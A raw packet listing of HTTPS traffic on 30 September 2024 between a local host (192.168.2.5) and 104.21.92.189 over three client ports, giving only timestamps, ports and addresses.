Sep 30, 2024 18:58:37.075886965 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075903893 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075993061 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.076003075 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.076009989 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.076033115 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.076136112 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.082751036 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.082799911 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.082822084 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.082840919 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.082876921 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.082876921 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083370924 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083429098 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083455086 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083465099 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083478928 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083535910 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083621025 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083733082 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083765030 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083777905 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083779097 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083786964 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083822966 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083915949 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.083969116 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.083976030 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.084353924 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.084377050 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.084420919 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.084430933 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.084458113 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.084501028 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.084553003 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.084558010 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.097651005 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.097676992 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.097748041 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.097758055 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.097809076 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.097923994 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.097989082 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.098366976 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.098428965 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.098437071 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.098484039 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.099154949 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.099170923 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.099224091 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.099239111 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.099706888 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.099720955 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.099790096 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.099800110 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.119103909 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.119119883 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.119400978 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.119415045 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.127685070 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.127710104 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.127763987 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.127777100 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.127810955 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.127835035 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.127948999 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.127998114 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128016949 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128029108 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128047943 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128237963 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128268003 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128334045 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128334045 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128341913 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128580093 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128613949 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128674030 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128674030 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128683090 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128884077 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128899097 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.128978968 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128978968 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.128987074 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132152081 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132168055 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132266045 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.132283926 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132395029 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.132884979 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132901907 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.132965088 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.132986069 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.133250952 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.139178038 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.139256954 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.139269114 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.139328957 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154500961 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154560089 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154616117 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154627085 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154640913 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154654026 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154725075 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154741049 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154758930 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154808998 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154808998 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.154818058 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.154856920 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.165662050 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.165688992 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.165807962 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.165807962 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.165822983 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.165980101 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.166065931 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.166073084 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.166121006 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.166501045 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.166522026 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.166589975 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.166599989 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.166632891 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.167185068 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167201042 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167272091 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.167283058 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167323112 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.167706013 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167721987 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167795897 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.167803049 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167831898 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167848110 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.167854071 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167870045 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.167929888 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.171698093 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.171715021 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.171792030 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.171808004 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172342062 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172357082 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172427893 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.172437906 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172704935 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172826052 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172837973 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.172847986 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.172892094 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.173237085 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173252106 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173312902 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.173320055 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173365116 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.173427105 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173459053 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173491955 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.173496962 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.173513889 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.173615932 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.187561989 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.187580109 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.187633991 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.187649965 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.187671900 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.187690020 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.187715054 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.187720060 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.187750101 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.187756062 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.188224077 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.188239098 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.188304901 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.188308001 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.188317060 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.188348055 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.188385963 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.188599110 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.188678980 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.189369917 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.189408064 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.189435959 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.189435959 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.189455986 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.189505100 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.189512968 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.208190918 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.208249092 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.208328962 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.208328962 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.208343983 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.208405018 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.208493948 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.208554029 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.208559990 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216000080 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216063976 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216072083 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216089964 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216106892 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216118097 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216139078 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216142893 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216175079 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216212988 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216276884 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216320992 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216357946 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216366053 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216393948 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216478109 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216614008 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216624022 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216861010 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216907024 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216924906 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.216949940 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.216994047 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217037916 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217045069 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217070103 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217081070 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217107058 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217125893 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217133999 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217210054 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217341900 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217370987 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217394114 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217396021 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217410088 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217457056 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217485905 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.217657089 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.217731953 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.220705032 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.220768929 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.221344948 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.221457005 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.221462011 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.221510887 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.222095013 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.229959011 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.229991913 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.230092049 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.230109930 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.230128050 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.230230093 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.256489992 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.256516933 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.256566048 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.256588936 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.256614923 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.256731987 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.256779909 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.256870031 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.257189989 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257230997 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257260084 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.257265091 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257297039 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.257534981 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257580996 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.257587910 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257920027 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.257978916 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.257985115 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.258050919 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.258419991 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.258480072 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.258486986 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.258555889 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.259119034 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259135008 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259171963 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259191990 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.259202957 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259224892 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.259790897 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259877920 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.259892941 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259906054 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.259985924 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.259994984 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260078907 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260148048 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260154009 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260242939 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260283947 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260298967 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260467052 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260545015 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260550022 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260726929 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260735035 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260740042 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260772943 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260786057 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260823965 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260828972 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260865927 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260895014 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260904074 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260926962 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.260931015 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.260945082 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.261135101 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261203051 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.261209965 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261550903 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261590958 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261617899 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.261626005 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261662960 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.261862040 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.261924982 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.261929989 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.274174929 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.274274111 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.274276972 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.274286985 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.274318933 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.274341106 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.274360895 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.274919033 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.279267073 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279314995 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279357910 CEST	443	49758	104.21.92.189	192.168.2.5
